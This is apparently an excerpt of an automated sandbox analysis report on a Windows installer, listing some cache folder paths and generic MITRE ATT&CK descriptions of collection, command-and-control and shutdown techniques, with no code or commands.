C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Examine

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Friend

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Leader

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Legend

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Nominations

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Nt

Windows Analysis Report
installer_1.05_36.7.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre